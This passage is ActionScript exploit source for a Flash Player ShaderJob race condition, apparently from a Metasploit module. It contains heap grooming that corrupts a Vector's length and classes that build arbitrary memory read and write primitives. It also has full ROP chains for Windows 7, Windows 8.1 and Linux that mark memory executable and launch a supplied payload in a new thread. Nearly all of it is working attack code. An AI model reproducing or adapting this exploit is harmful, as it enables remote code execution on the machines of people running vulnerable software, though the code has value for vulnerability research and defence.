shader.data.src.input = srcBmd
// Put vectors in memory
ov = new Vector.<Object>(1024)
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(0xa6)
ov[i][0] = 0xdeedbeef
ov[i][1] = i
ov[i][2] = 0xdeadbeaf
}
// Create holes by redimensioning some vectors
for (i = ov.length / 2; i < ov.length; i = i + 6) {
ov[i].length = 0x14c // 0xa6 * 2
}
// Defragment memory so hopefully one of our holes will be used
// by the ShaderJob later...
var defrag:Vector.<Object> = new Vector.<Object>(20)
for(i = 0; i < defrag.length; i++) {
defrag[i] = new Vector.<uint>(0xa6)
}
// Apply the bilinear scaling with a ShaderJob, so the job
// can be execued on a new thread, providing us the opportunity
// to tweak the width attribute after starting the job, providing
// a buffer overflow situation
var shaderJob:ShaderJob = new ShaderJob()
shaderJob.shader = shader
shaderJob.target = srcBmd
shaderJob.width = 0
shaderJob.start()
shaderJob.width = 0xa5 // Overwrite "next" vector length
this.WaitTimer(1000)
for (i = 0; i < ov.length; i++) {
if (ov[i].length != 0xa6 && ov[i].length != 0x14c) {
Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString())
uv = ov[i]
} else {
delete(ov[i])
ov[i] = null
}
}
if (uv == null) {
Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found")
return
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
private function WaitTimer(time:int):void{
var current:int = getTimer()
while (true) {
if ((getTimer() - current) >= time) break
}
}
}
}

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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0xa6
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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